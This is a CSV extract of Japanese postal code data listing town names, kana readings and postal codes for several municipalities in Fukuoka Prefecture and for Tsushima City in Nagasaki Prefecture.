40305,81112,8111244,フクオカケン,チクシグンナカガワマチ,ヤマダ,福岡県,筑紫郡那珂川町,山田,0,0,0,0,0,0 40341,81121,8112100,フクオカケン,カスヤグンウミマチ,イカニケイサイガナイバアイ,福岡県,糟屋郡宇美町,以下に掲載がない場合,0,0,0,1,0,0 40341,81121,8112104,フクオカケン,カスヤグンウミマチ,イノ,福岡県,糟屋郡宇美町,井野,0,0,0,0,0,0 40341,81121,8112101,フクオカケン,カスヤグンウミマチ,ウミ,福岡県,糟屋郡宇美町,宇美,0,0,1,0,0,0 40341,81121,8112128,フクオカケン,カスヤグンウミマチ,ウミチュウオウ,福岡県,糟屋郡宇美町,宇美中央,0,0,1,0,0,0 40341,81121,8112125,フクオカケン,カスヤグンウミマチ,ウミヒガシ,福岡県,糟屋郡宇美町,宇美東,0,0,1,0,0,0 40341,81121,8112131,フクオカケン,カスヤグンウミマチ,キフネ,福岡県,糟屋郡宇美町,貴船,0,0,1,0,0,0 40341,81121,8112123,フクオカケン,カスヤグンウミマチ,コウショウジ,福岡県,糟屋郡宇美町,光正寺,0,0,1,0,0,0 40341,81121,8112109,フクオカケン,カスヤグンウミマチ,サクラバル,福岡県,糟屋郡宇美町,桜原,0,0,1,0,0,0 40341,81121,8112105,フクオカケン,カスヤグンウミマチ,シオウジ,福岡県,糟屋郡宇美町,四王寺,0,0,0,0,0,0 40341,81121,8112103,フクオカケン,カスヤグンウミマチ,シオウジザカ,福岡県,糟屋郡宇美町,四王寺坂,0,0,1,0,0,0 40341,81121,8112127,フクオカケン,カスヤグンウミマチ,ショウジダケ,福岡県,糟屋郡宇美町,障子岳,0,0,1,0,0,0 40341,81121,8112126,フクオカケン,カスヤグンウミマチ,ショウジダケミナミ,福岡県,糟屋郡宇美町,障子岳南,0,0,1,0,0,0 40341,81121,8112102,フクオカケン,カスヤグンウミマチ,スミヤキ,福岡県,糟屋郡宇美町,炭焼,0,0,0,0,0,0 40341,81121,8112107,フクオカケン,カスヤグンウミマチ,トビタケ,福岡県,糟屋郡宇美町,とびたけ,0,0,1,0,0,0 40341,81121,8112132,フクオカケン,カスヤグンウミマチ,ハルダ,福岡県,糟屋郡宇美町,原田,0,0,1,0,0,0 40341,81121,8112106,フクオカケン,カスヤグンウミマチ,ヒバリガオカ,福岡県,糟屋郡宇美町,ひばりが丘,0,0,1,0,0,0 40341,81121,8112121,フクオカケン,カスヤグンウミマチ,ヘイワ,福岡県,糟屋郡宇美町,平和,0,0,1,0,0,0 40341,81121,8112122,フクオカケン,カスヤグンウミマチ,ミョウジンザカ,福岡県,糟屋郡宇美町,明神坂,0,0,1,0,0,0 40341,81121,8112108,フクオカケン,カスヤグンウミマチ,ユリガオカ,福岡県,糟屋郡宇美町,ゆりが丘,0,0,1,0,0,0 40341,81121,8112124,フクオカケン,カスヤグンウミマチ,ワカクサ,福岡県,糟屋郡宇美町,若草,0,0,1,0,0,0 40342,81124,8112400,フクオカケン,カスヤグンササグリマチ,イカニケイサイガナイバアイ,福岡県,糟屋郡篠栗町,以下に掲載がない場合,0,0,0,0,0,0 40342,81124,8112412,フクオカケン,カスヤグンササグリマチ,オトイヌ,福岡県,糟屋郡篠栗町,乙犬,0,0,0,0,0,0 40342,81124,8112413,フクオカケン,カスヤグンササグリマチ,オナカ,福岡県,糟屋郡篠栗町,尾仲,0,0,0,0,0,0 40342,81124,8112402,フクオカケン,カスヤグンササグリマチ,カナイデ,福岡県,糟屋郡篠栗町,金出,0,0,0,0,0,0 40342,81124,8112405,フクオカケン,カスヤグンササグリマチ,ササグリ,福岡県,糟屋郡篠栗町,篠栗,0,0,0,0,0,0 40342,81124,8112401,フクオカケン,カスヤグンササグリマチ,タカタ,福岡県,糟屋郡篠栗町,高田,0,0,0,0,0,0 40342,81124,8112416,フクオカケン,カスヤグンササグリマチ,タナカ,福岡県,糟屋郡篠栗町,田中,0,0,0,0,0,0 40342,81124,8112415,フクオカケン,カスヤグンササグリマチ,ツバクロ,福岡県,糟屋郡篠栗町,津波黒,0,0,0,0,0,0 40342,81124,8112404,フクオカケン,カスヤグンササグリマチ,ナイジュウ,福岡県,糟屋郡篠栗町,内住,0,0,0,0,0,0 40342,81124,8112403,フクオカケン,カスヤグンササグリマチ,ハギノウ,福岡県,糟屋郡篠栗町,萩尾,0,0,0,0,0,0 40342,81124,8112411,フクオカケン,カスヤグンササグリマチ,ワカスギ,福岡県,糟屋郡篠栗町,若杉,0,0,0,0,0,0 40342,81124,8112414,フクオカケン,カスヤグンササグリマチ,ワダ,福岡県,糟屋郡篠栗町,和田,0,0,0,0,0,0 40343,81122,8112200,フクオカケン,カスヤグンシメマチ,イカニケイサイガナイバアイ,福岡県,糟屋郡志免町,以下に掲載がない場合,0,0,0,0,0,0 40343,81122,8112203,フクオカケン,カスヤグンシメマチ,イシバシダイ,福岡県,糟屋郡志免町,石橋台,0,0,0,0,0,0 40343,81122,8112209,フクオカケン,カスヤグンシメマチ,オウジ,福岡県,糟屋郡志免町,王子,0,0,1,0,0,0 40343,81122,8112245,フクオカケン,カスヤグンシメマチ,カタミネ,福岡県,糟屋郡志免町,片峰,0,0,1,0,0,0 40343,81122,8112246,フクオカケン,カスヤグンシメマチ,カタミネチュウオウ,福岡県,糟屋郡志免町,片峰中央,0,0,1,0,0,0 40343,81122,8112248,フクオカケン,カスヤグンシメマチ,サカセ,福岡県,糟屋郡志免町,坂瀬,0,0,0,0,0,0 40343,81122,8112201,フクオカケン,カスヤグンシメマチ,サクラガオカ,福岡県,糟屋郡志免町,桜丘,0,0,1,0,0,0 40343,81122,8112202,フクオカケン,カスヤグンシメマチ,シメ,福岡県,糟屋郡志免町,志免,0,0,0,0,0,0 40343,81122,8112244,フクオカケン,カスヤグンシメマチ,シメチュウオウ,福岡県,糟屋郡志免町,志免中央,0,0,1,0,0,0 40343,81122,8112243,フクオカケン,カスヤグンシメマチ,シメヒガシ,福岡県,糟屋郡志免町,志免東,0,0,1,0,0,0 40343,81122,8112204,フクオカケン,カスヤグンシメマチ,タドミ,福岡県,糟屋郡志免町,田富,0,0,0,0,0,0 40343,81122,8112241,フクオカケン,カスヤグンシメマチ,ヒガシコウエンダイ,福岡県,糟屋郡志免町,東公園台,0,0,1,0,0,0 40343,81122,8112205,フクオカケン,カスヤグンシメマチ,ベフ,福岡県,糟屋郡志免町,別府,0,0,0,0,0,0 40343,81122,8112233,フクオカケン,カスヤグンシメマチ,ベフキタ,福岡県,糟屋郡志免町,別府北,0,0,1,0,0,0 40343,81122,8112232,フクオカケン,カスヤグンシメマチ,ベフニシ,福岡県,糟屋郡志免町,別府西,0,0,1,0,0,0 40343,81122,8112231,フクオカケン,カスヤグンシメマチ,ベフヒガシ,福岡県,糟屋郡志免町,別府東,0,0,1,0,0,0 40343,81122,8112242,フクオカケン,カスヤグンシメマチ,マツガオカ,福岡県,糟屋郡志免町,松ケ丘,0,0,0,0,0,0 40343,81122,8112206,フクオカケン,カスヤグンシメマチ,ミタライ,福岡県,糟屋郡志免町,御手洗,0,0,1,0,0,0 40343,81122,8112207,フクオカケン,カスヤグンシメマチ,ミナミザト,福岡県,糟屋郡志免町,南里,0,0,1,0,0,0 40343,81122,8112247,フクオカケン,カスヤグンシメマチ,ムカイガオカ,福岡県,糟屋郡志免町,向ケ丘,0,0,1,0,0,0 40343,81122,8112208,フクオカケン,カスヤグンシメマチ,ヨシハラ,福岡県,糟屋郡志免町,吉原,0,0,0,0,0,0 40344,81121,8112100,フクオカケン,カスヤグンスエマチ,イカニケイサイガナイバアイ,福岡県,糟屋郡須惠町,以下に掲載がない場合,0,0,0,1,0,0 40344,81121,8112112,フクオカケン,カスヤグンスエマチ,ウエキ,福岡県,糟屋郡須惠町,植木,0,0,0,0,0,0 40344,81121,8112114,フクオカケン,カスヤグンスエマチ,カミスエ,福岡県,糟屋郡須惠町,上須惠,0,0,0,0,0,0 40344,81121,8112115,フクオカケン,カスヤグンスエマチ,サタニ,福岡県,糟屋郡須惠町,佐谷,0,0,0,0,0,0 40344,81121,8112111,フクオカケン,カスヤグンスエマチ,シンバル,福岡県,糟屋郡須惠町,新原,0,0,0,0,0,0 40344,81121,8112113,フクオカケン,カスヤグンスエマチ,スエ,福岡県,糟屋郡須惠町,須惠,0,0,0,0,0,0 40344,81122,8112221,フクオカケン,カスヤグンスエマチ,タビイシ,福岡県,糟屋郡須惠町,旅石,0,0,0,0,0,0 40345,81101,8110100,フクオカケン,カスヤグンシングウマチ,イカニケイサイガナイバアイ,福岡県,糟屋郡新宮町,以下に掲載がない場合,0,0,0,0,0,0 40345,81101,8110118,フクオカケン,カスヤグンシングウマチ,アイノシマ,福岡県,糟屋郡新宮町,相島,0,0,0,0,0,0 40345,81101,8110117,フクオカケン,カスヤグンシングウマチ,カミノフ,福岡県,糟屋郡新宮町,上府,0,0,0,0,0,0 40345,81101,8110113,フクオカケン,カスヤグンシングウマチ,サクラヤマテ,福岡県,糟屋郡新宮町,桜山手,0,0,1,0,0,0 40345,81101,8110112,フクオカケン,カスヤグンシングウマチ,シモノフ,福岡県,糟屋郡新宮町,下府,0,0,1,0,0,0 40345,81101,8110115,フクオカケン,カスヤグンシングウマチ,シングウ,福岡県,糟屋郡新宮町,新宮,0,0,0,0,0,0 40345,81101,8110102,フクオカケン,カスヤグンシングウマチ,タチバナグチ,福岡県,糟屋郡新宮町,立花口,0,0,0,0,0,0 40345,81101,8110120,フクオカケン,カスヤグンシングウマチ,チュウオウエキマエ,福岡県,糟屋郡新宮町,中央駅前,0,0,1,0,0,0 40345,81101,8110103,フクオカケン,カスヤグンシングウマチ,ハナタチバナ,福岡県,糟屋郡新宮町,花立花,0,0,1,0,0,0 40345,81101,8110101,フクオカケン,カスヤグンシングウマチ,ハルガミ,福岡県,糟屋郡新宮町,原上,0,0,0,0,0,0 40345,81101,8110104,フクオカケン,カスヤグンシングウマチ,マトノ,福岡県,糟屋郡新宮町,的野,0,0,0,0,0,0 40345,81101,8110121,フクオカケン,カスヤグンシングウマチ,ミサキ,福岡県,糟屋郡新宮町,美咲,0,0,1,0,0,0 40345,81101,8110111,フクオカケン,カスヤグンシングウマチ,ミシロ,福岡県,糟屋郡新宮町,三代,0,0,0,0,0,0 40345,81101,8110119,フクオカケン,カスヤグンシングウマチ,ミドリガハマ,福岡県,糟屋郡新宮町,緑ケ浜,0,0,1,0,0,0 40345,81101,8110116,フクオカケン,カスヤグンシングウマチ,ミナト,福岡県,糟屋郡新宮町,湊,0,0,0,0,0,0 40345,81101,8110114,フクオカケン,カスヤグンシングウマチ,ミナトザカ,福岡県,糟屋郡新宮町,湊坂,0,0,1,0,0,0 40345,81101,8110122,フクオカケン,カスヤグンシングウマチ,モリノミヤ,福岡県,糟屋郡新宮町,杜の宮,0,0,1,0,0,0 40345,81101,8110110,フクオカケン,カスヤグンシングウマチ,ユウス,福岡県,糟屋郡新宮町,夜臼,0,0,1,0,0,0 40348,81125,8112500,フクオカケン,カスヤグンヒサヤママチ,イカニケイサイガナイバアイ,福岡県,糟屋郡久山町,以下に掲載がない場合,0,0,0,0,0,0 40348,81125,8112503,フクオカケン,カスヤグンヒサヤママチ,イノ,福岡県,糟屋郡久山町,猪野,0,0,0,0,0,0 40348,81125,8112501,フクオカケン,カスヤグンヒサヤママチ,クバラ,福岡県,糟屋郡久山町,久原,0,0,0,0,0,0 40348,81125,8112502,フクオカケン,カスヤグンヒサヤママチ,ヤマダ,福岡県,糟屋郡久山町,山田,0,0,0,0,0,0 40349,81123,8112300,フクオカケン,カスヤグンカスヤマチ,イカニケイサイガナイバアイ,福岡県,糟屋郡粕屋町,以下に掲載がない場合,0,0,0,0,0,0 40349,81123,8112306,フクオカケン,カスヤグンカスヤマチ,アエ,福岡県,糟屋郡粕屋町,阿恵,0,0,0,0,0,0 40349,813,8130008,フクオカケン,カスヤグンカスヤマチ,ウチハシ790-1(タノツダンチ),福岡県,糟屋郡粕屋町,内橋790の1(多ノ津団地),1,0,0,0,0,0 40349,81123,8112308,フクオカケン,カスヤグンカスヤマチ,ウチハシ(ソノタ),福岡県,糟屋郡粕屋町,内橋(その他),1,0,0,0,0,0 40349,81123,8112313,フクオカケン,カスヤグンカスヤマチ,エツジ,福岡県,糟屋郡粕屋町,江辻,0,0,0,0,0,0 40349,81123,8112302,フクオカケン,カスヤグンカスヤマチ,オオクマ,福岡県,糟屋郡粕屋町,大隈,0,0,0,0,0,0 40349,81123,8112301,フクオカケン,カスヤグンカスヤマチ,カミオオクマ,福岡県,糟屋郡粕屋町,上大隈,0,0,0,0,0,0 40349,81123,8112309,フクオカケン,カスヤグンカスヤマチ,カヨイチョウ,福岡県,糟屋郡粕屋町,駕与丁,0,0,1,0,0,0 40349,81123,8112315,フクオカケン,カスヤグンカスヤマチ,コウナカバル,福岡県,糟屋郡粕屋町,甲仲原,0,0,1,0,0,0 40349,81123,8112303,フクオカケン,カスヤグンカスヤマチ,サカド,福岡県,糟屋郡粕屋町,酒殿,0,0,0,0,0,0 40349,81123,8112311,フクオカケン,カスヤグンカスヤマチ,チョウジャバル,福岡県,糟屋郡粕屋町,長者原,0,0,0,0,0,0 40349,81123,8112312,フクオカケン,カスヤグンカスヤマチ,トバラ,福岡県,糟屋郡粕屋町,戸原,0,0,0,0,0,0 40349,81123,8112304,フクオカケン,カスヤグンカスヤマチ,ナカバル,福岡県,糟屋郡粕屋町,仲原,0,0,0,0,0,0 40349,81123,8112310,フクオカケン,カスヤグンカスヤマチ,ハナガウラ,福岡県,糟屋郡粕屋町,花ヶ浦,0,0,1,0,0,0 40349,81123,8112307,フクオカケン,カスヤグンカスヤマチ,ハルマチ,福岡県,糟屋郡粕屋町,原町,0,0,1,0,0,0 40349,81123,8112305,フクオカケン,カスヤグンカスヤマチ,ユス,福岡県,糟屋郡粕屋町,柚須,0,0,0,0,0,0 40349,81123,8112314,フクオカケン,カスヤグンカスヤマチ,ワカミヤ,福岡県,糟屋郡粕屋町,若宮,0,0,1,0,0,0 40383,81142,8114200,フクオカケン,オンガグンオカガキマチ,イカニケイサイガナイバアイ,福岡県,遠賀郡岡垣町,以下に掲載がない場合,0,0,0,0,0,0 40383,81142,8114215,フクオカケン,オンガグンオカガキマチ,アサヒダイ,福岡県,遠賀郡岡垣町,旭台,0,0,1,0,0,0 40383,81142,8114216,フクオカケン,オンガグンオカガキマチ,アサヒミナミ,福岡県,遠賀郡岡垣町,旭南,0,0,0,0,0,0 40383,81142,8114203,フクオカケン,オンガグンオカガキマチ,ウツラ,福岡県,遠賀郡岡垣町,内浦,0,0,0,0,0,0 40383,81142,8114231,フクオカケン,オンガグンオカガキマチ,エビツ,福岡県,遠賀郡岡垣町,海老津,0,0,1,0,0,0 40383,81142,8114236,フクオカケン,オンガグンオカガキマチ,エビツエキマエ,福岡県,遠賀郡岡垣町,海老津駅前,0,0,0,0,0,0 40383,81142,8114238,フクオカケン,オンガグンオカガキマチ,エビツエキミナミ,福岡県,遠賀郡岡垣町,海老津駅南,0,0,1,0,0,0 40383,81142,8114212,フクオカケン,オンガグンオカガキマチ,クロヤマ,福岡県,遠賀郡岡垣町,黒山,0,0,0,0,0,0 40383,81142,8114235,フクオカケン,オンガグンオカガキマチ,コウエンドオリ,福岡県,遠賀郡岡垣町,公園通り,0,0,1,0,0,0 40383,81142,8114227,フクオカケン,オンガグンオカガキマチ,コウヨウダイ,福岡県,遠賀郡岡垣町,高陽台,0,0,1,0,0,0 40383,81142,8114217,フクオカケン,オンガグンオカガキマチ,サクラダイ,福岡県,遠賀郡岡垣町,桜台,0,0,0,0,0,0 40383,81142,8114232,フクオカケン,オンガグンオカガキマチ,ジョウハタ,福岡県,遠賀郡岡垣町,上畑,0,0,0,0,0,0 40383,81142,8114234,フクオカケン,オンガグンオカガキマチ,タカクラ,福岡県,遠賀郡岡垣町,高倉,0,0,0,0,0,0 40383,81142,8114218,フクオカケン,オンガグンオカガキマチ,チュウオウダイ,福岡県,遠賀郡岡垣町,中央台,0,0,1,0,0,0 40383,81142,8114204,フクオカケン,オンガグンオカガキマチ,テノ,福岡県,遠賀郡岡垣町,手野,0,0,0,0,0,0 40383,81142,8114222,フクオカケン,オンガグンオカガキマチ,トギリ,福岡県,遠賀郡岡垣町,戸切,0,0,0,0,0,0 40383,81142,8114224,フクオカケン,オンガグンオカガキマチ,ナベタ,福岡県,遠賀郡岡垣町,鍋田,0,0,1,0,0,0 40383,81142,8114213,フクオカケン,オンガグンオカガキマチ,ヌカヅカ,福岡県,遠賀郡岡垣町,糠塚,0,0,0,0,0,0 40383,81142,8114233,フクオカケン,オンガグンオカガキマチ,ノマ,福岡県,遠賀郡岡垣町,野間,0,0,1,0,0,0 40383,81142,8114239,フクオカケン,オンガグンオカガキマチ,ノマミナミ,福岡県,遠賀郡岡垣町,野間南,0,0,0,0,0,0 40383,81142,8114201,フクオカケン,オンガグンオカガキマチ,ハツ,福岡県,遠賀郡岡垣町,波津,0,0,0,0,0,0 40383,81142,8114202,フクオカケン,オンガグンオカガキマチ,ハラ,福岡県,遠賀郡岡垣町,原,0,0,0,0,0,0 40383,81142,8114225,フクオカケン,オンガグンオカガキマチ,ヒガシコウヨウ,福岡県,遠賀郡岡垣町,東高陽,0,0,1,0,0,0 40383,81142,8114237,フクオカケン,オンガグンオカガキマチ,ヒガシタカクラ,福岡県,遠賀郡岡垣町,東高倉,0,0,1,0,0,0 40383,81142,8114228,フクオカケン,オンガグンオカガキマチ,ヒガシマツバラ,福岡県,遠賀郡岡垣町,東松原,0,0,1,0,0,0 40383,81142,8114220,フクオカケン,オンガグンオカガキマチ,ヒガシヤマダ,福岡県,遠賀郡岡垣町,東山田,0,0,1,0,0,0 40383,81142,8114214,フクオカケン,オンガグンオカガキマチ,マツガダイ,福岡県,遠賀郡岡垣町,松ケ台,0,0,1,0,0,0 40383,81142,8114226,フクオカケン,オンガグンオカガキマチ,ミナミコウヨウ,福岡県,遠賀郡岡垣町,南高陽,0,0,0,0,0,0 40383,81142,8114205,フクオカケン,オンガグンオカガキマチ,ミヨシ,福岡県,遠賀郡岡垣町,三吉,0,0,0,0,0,0 40383,81142,8114221,フクオカケン,オンガグンオカガキマチ,ヤマダ,福岡県,遠賀郡岡垣町,山田,0,0,0,0,0,0 40383,81142,8114223,フクオカケン,オンガグンオカガキマチ,ヤマダトウゲ,福岡県,遠賀郡岡垣町,山田峠,0,0,1,0,0,0 40383,81142,8114229,フクオカケン,オンガグンオカガキマチ,ユリガオカ,福岡県,遠賀郡岡垣町,百合ケ丘,0,0,1,0,0,0 40383,81142,8114211,フクオカケン,オンガグンオカガキマチ,ヨシキ,福岡県,遠賀郡岡垣町,吉木,0,0,0,0,0,0 40383,81142,8114242,フクオカケン,オンガグンオカガキマチ,ヨシキニシ,福岡県,遠賀郡岡垣町,吉木西,0,0,1,0,0,0 40383,81142,8114241,フクオカケン,オンガグンオカガキマチ,ヨシキヒガシ,福岡県,遠賀郡岡垣町,吉木東,0,0,1,0,0,0 40384,81143,8114300,フクオカケン,オンガグンオンガチョウ,イカニケイサイガナイバアイ,福岡県,遠賀郡遠賀町,以下に掲載がない場合,0,0,0,0,0,0 40384,81143,8114312,フクオカケン,オンガグンオンガチョウ,アサギ,福岡県,遠賀郡遠賀町,浅木,0,0,1,0,0,0 40384,81143,8114303,フクオカケン,オンガグンオンガチョウ,イマコガ,福岡県,遠賀郡遠賀町,今古賀,0,0,0,0,0,0 40384,81143,8114311,フクオカケン,オンガグンオンガチョウ,オイラ,福岡県,遠賀郡遠賀町,老良,0,0,0,0,0,0 40384,81143,8114342,フクオカケン,オンガグンオンガチョウ,オザキ,福岡県,遠賀郡遠賀町,尾崎,0,0,0,0,0,0 40384,81143,8114341,フクオカケン,オンガグンオンガチョウ,オニヅ,福岡県,遠賀郡遠賀町,鬼津,0,0,0,0,0,0 40384,81143,8114307,フクオカケン,オンガグンオンガチョウ,オンガガワ,福岡県,遠賀郡遠賀町,遠賀川,0,0,1,0,0,0 40384,81143,8114332,フクオカケン,オンガグンオンガチョウ,カミベフ,福岡県,遠賀郡遠賀町,上別府,0,0,0,0,0,0 40384,81143,8114313,フクオカケン,オンガグンオンガチョウ,キモリ,福岡県,遠賀郡遠賀町,木守,0,0,0,0,0,0 40384,81143,8114306,フクオカケン,オンガグンオンガチョウ,キュウテイ,福岡県,遠賀郡遠賀町,旧停,0,0,1,0,0,0 40384,81143,8114301,フクオカケン,オンガグンオンガチョウ,シマヅ,福岡県,遠賀郡遠賀町,島津,0,0,0,0,0,0 40384,81143,8114333,フクオカケン,オンガグンオンガチョウ,シマド,福岡県,遠賀郡遠賀町,島門,0,0,0,0,0,0 40384,81143,8114343,フクオカケン,オンガグンオンガチョウ,デンエン,福岡県,遠賀郡遠賀町,田園,0,0,1,0,0,0 40384,81143,8114302,フクオカケン,オンガグンオンガチョウ,ヒロワタリ,福岡県,遠賀郡遠賀町,広渡,0,0,1,0,0,0 40384,81143,8114322,フクオカケン,オンガグンオンガチョウ,フヨウ,福岡県,遠賀郡遠賀町,芙蓉,0,0,1,0,0,0 40384,81143,8114331,フクオカケン,オンガグンオンガチョウ,ベフ,福岡県,遠賀郡遠賀町,別府,0,0,0,0,0,0 40384,81143,8114305,フクオカケン,オンガグンオンガチョウ,マツノモト,福岡県,遠賀郡遠賀町,松の本,0,0,1,0,0,0 40384,81143,8114321,フクオカケン,オンガグンオンガチョウ,ムショウヅ,福岡県,遠賀郡遠賀町,虫生津,0,0,0,0,0,0 40384,81143,8114324,フクオカケン,オンガグンオンガチョウ,ムショウヅミナミ,福岡県,遠賀郡遠賀町,虫生津南,0,0,0,0,0,0 40384,81143,8114334,フクオカケン,オンガグンオンガチョウ,レンガク,福岡県,遠賀郡遠賀町,蓮角,0,0,0,0,0,0 40384,81143,8114323,フクオカケン,オンガグンオンガチョウ,ワカバダイ,福岡県,遠賀郡遠賀町,若葉台,0,0,0,0,0,0 40384,81143,8114304,フクオカケン,オンガグンオンガチョウ,ワカマツ,福岡県,遠賀郡遠賀町,若松,0,0,0,0,0,0 42209,817,8170000,ナガサキケン,ツシマシ,イカニケイサイガナイバアイ,長崎県,対馬市,以下に掲載がない場合,0,0,0,0,0,0 42209,817,8170034,ナガサキケン,ツシマシ,イヅハラマチアガミ,長崎県,対馬市,厳原町安神,0,0,0,0,0,0 42209,81701,8170153,ナガサキケン,ツシマシ,イヅハラマチアザモ,長崎県,対馬市,厳原町浅藻,0,0,0,0,0,0 42209,81702,8170241,ナガサキケン,ツシマシ,イヅハラマチアレ,長崎県,対馬市,厳原町阿連,0,0,0,0,0,0 42209,817,8170021,ナガサキケン,ツシマシ,イヅハラマチイマヤシキ,長崎県,対馬市,厳原町今屋敷,0,0,0,0,0,0 42209,81701,8170157,ナガサキケン,ツシマシ,イヅハラマチウチヤマ,長崎県,対馬市,厳原町内山,0,0,0,0,0,0 42209,817,8170033,ナガサキケン,ツシマシ,イヅハラマチオウラ,長崎県,対馬市,厳原町尾浦,0,0,0,0,0,0 42209,817,8170024,ナガサキケン,ツシマシ,イヅハラマチオオテバシ,長崎県,対馬市,厳原町大手橋,0,0,0,0,0,0 42209,81702,8170243,ナガサキケン,ツシマシ,イヅハラマチカシネ,長崎県,対馬市,厳原町樫根,0,0,0,0,0,0 42209,817,8170006,ナガサキケン,ツシマシ,イヅハラマチキタザト,長崎県,対馬市,厳原町北里,0,0,0,0,0,0 42209,817,8170032,ナガサキケン,ツシマシ,イヅハラマチクタ,長崎県,対馬市,厳原町久田,0,0,0,0,0,0 42209,817,8170031,ナガサキケン,ツシマシ,イヅハラマチクタミチ,長崎県,対馬市,厳原町久田道,0,0,0,0,0,0 42209,81702,8170245,ナガサキケン,ツシマシ,イヅハラマチクネイナカ,長崎県,対馬市,厳原町久根田舎,0,0,0,0,0,0 42209,81702,8170244,ナガサキケン,ツシマシ,イヅハラマチクネハマ,長崎県,対馬市,厳原町久根浜,0,0,0,0,0,0 42209,817,8170035,ナガサキケン,ツシマシ,イヅハラマチクワ,長崎県,対馬市,厳原町久和,0,0,0,0,0,0 42209,81702,8170246,ナガサキケン,ツシマシ,イヅハラマチコウツキ,長崎県,対馬市,厳原町上槻,0,0,0,0,0,0 42209,817,8170001,ナガサキケン,ツシマシ,イヅハラマチコウラ,長崎県,対馬市,厳原町小浦,0,0,0,0,0,0 42209,817,8170022,ナガサキケン,ツシマシ,イヅハラマチコクブ,長崎県,対馬市,厳原町国分,0,0,0,0,0,0 42209,81702,8170248,ナガサキケン,ツシマシ,イヅハラマチコモダ,長崎県,対馬市,厳原町小茂田,0,0,0,0,0,0 42209,817,8170005,ナガサキケン,ツシマシ,イヅハラマチサジキバラ,長崎県,対馬市,厳原町桟原,0,0,0,0,0,0 42209,81701,8170156,ナガサキケン,ツシマシ,イヅハラマチサスセ,長崎県,対馬市,厳原町佐須瀬,0,0,0,0,0,0 42209,81702,8170247,ナガサキケン,ツシマシ,イヅハラマチシイネ,長崎県,対馬市,厳原町椎根,0,0,0,0,0,0 42209,81702,8170242,ナガサキケン,ツシマシ,イヅハラマチシモバル,長崎県,対馬市,厳原町下原,0,0,0,0,0,0 42209,817,8170023,ナガサキケン,ツシマシ,イヅハラマチタブチ,長崎県,対馬市,厳原町田渕,0,0,0,0,0,0 42209,81701,8170154,ナガサキケン,ツシマシ,イヅハラマチツツ,長崎県,対馬市,厳原町豆酘,0,0,0,0,0,0 42209,81701,8170155,ナガサキケン,ツシマシ,イヅハラマチツツセ,長崎県,対馬市,厳原町豆酘瀬,0,0,0,0,0,0 42209,81701,8170152,ナガサキケン,ツシマシ,イヅハラマチツツナイイン,長崎県,対馬市,厳原町豆酘内院,0,0,0,0,0,0 42209,817,8170014,ナガサキケン,ツシマシ,イヅハラマチテンドウシゲ,長崎県,対馬市,厳原町天道茂,0,0,0,0,0,0 42209,817,8170013,ナガサキケン,ツシマシ,イヅハラマチナカムラ,長崎県,対馬市,厳原町中村,0,0,0,0,0,0 42209,817,8170003,ナガサキケン,ツシマシ,イヅハラマチナムロ,長崎県,対馬市,厳原町南室,0,0,0,0,0,0 42209,817,8170015,ナガサキケン,ツシマシ,イヅハラマチニシザト,長崎県,対馬市,厳原町西里,0,0,0,0,0,0 42209,817,8170016,ナガサキケン,ツシマシ,イヅハラマチヒガシザト,長崎県,対馬市,厳原町東里,0,0,0,0,0,0 42209,817,8170012,ナガサキケン,ツシマシ,イヅハラマチヒヨシ,長崎県,対馬市,厳原町日吉,0,0,0,0,0,0 42209,817,8170002,ナガサキケン,ツシマシ,イヅハラマチマガリ,長崎県,対馬市,厳原町曲,0,0,0,0,0,0 42209,817,8170011,ナガサキケン,ツシマシ,イヅハラマチミヤダニ,長崎県,対馬市,厳原町宮谷,0,0,0,0,0,0 42209,81701,8170151,ナガサキケン,ツシマシ,イヅハラマチヨラナイイン,長崎県,対馬市,厳原町与良内院,0,0,0,0,0,0 42209,81715,8171532,ナガサキケン,ツシマシ,カミアガタマチイナ,長崎県,対馬市,上県町伊奈,0,0,0,0,0,0 42209,81715,8171524,ナガサキケン,ツシマシ,カミアガタマチイヌガウラ,長崎県,対馬市,上県町犬ケ浦,0,0,0,0,0,0 42209,81715,8171513,ナガサキケン,ツシマシ,カミアガタマチウナツラ,長崎県,対馬市,上県町女連,0,0,0,0,0,0 42209,81715,8171521,ナガサキケン,ツシマシ,カミアガタマチカイドコロ,長崎県,対馬市,上県町飼所,0,0,0,0,0,0 42209,81715,8171522,ナガサキケン,ツシマシ,カミアガタマチカシタキ,長崎県,対馬市,上県町樫滝,0,0,0,0,0,0 42209,81715,8171512,ナガサキケン,ツシマシ,カミアガタマチクバラ,長崎県,対馬市,上県町久原,0,0,0,0,0,0 42209,81715,8171531,ナガサキケン,ツシマシ,カミアガタマチコシタカ,長崎県,対馬市,上県町越高,0,0,0,0,0,0 42209,81716,8171603,ナガサキケン,ツシマシ,カミアガタマチサゴ,長崎県,対馬市,上県町佐護,0,0,0,0,0,0 42209,81716,8171602,ナガサキケン,ツシマシ,カミアガタマチサスナ,長崎県,対馬市,上県町佐須奈,0,0,0,0,0,0 42209,81715,8171511,ナガサキケン,ツシマシ,カミアガタマチシシミ,長崎県,対馬市,上県町鹿見,0,0,0,0,0,0 42209,81715,8171533,ナガサキケン,ツシマシ,カミアガタマチシタル,長崎県,対馬市,上県町志多留,0,0,0,0,0,0 42209,81715,8171523,ナガサキケン,ツシマシ,カミアガタマチセタ,長崎県,対馬市,上県町瀬田,0,0,0,0,0,0 42209,81716,8171601,ナガサキケン,ツシマシ,カミアガタマチニシツヤ,長崎県,対馬市,上県町西津屋,0,0,0,0,0,0 42209,81715,8171525,ナガサキケン,ツシマシ,カミアガタマチミソ,長崎県,対馬市,上県町御園,0,0,0,0,0,0 42209,81722,8172243,ナガサキケン,ツシマシ,カミツシママチアシミ,長崎県,対馬市,上対馬町芦見,0,0,0,0,0,0 42209,81717,8171704,ナガサキケン,ツシマシ,カミツシママチアジロ,長崎県,対馬市,上対馬町網代,0,0,0,0,0,0 42209,81717,8171725,ナガサキケン,ツシマシ,カミツシママチイズミ,長崎県,対馬市,上対馬町泉,0,0,0,0,0,0 42209,81717,8171722,ナガサキケン,ツシマシ,カミツシママチオオウラ,長崎県,対馬市,上対馬町大浦,0,0,0,0,0,0 42209,81717,8171715,ナガサキケン,ツシマシ,カミツシママチオオマス,長崎県,対馬市,上対馬町大増,0,0,0,0,0,0 42209,81722,8172241,ナガサキケン,ツシマシ,カミツシママチオシカ,長崎県,対馬市,上対馬町小鹿,0,0,0,0,0,0 42209,81717,8171721,ナガサキケン,ツシマシ,カミツシママチカワチ,長崎県,対馬市,上対馬町河内,0,0,0,0,0,0 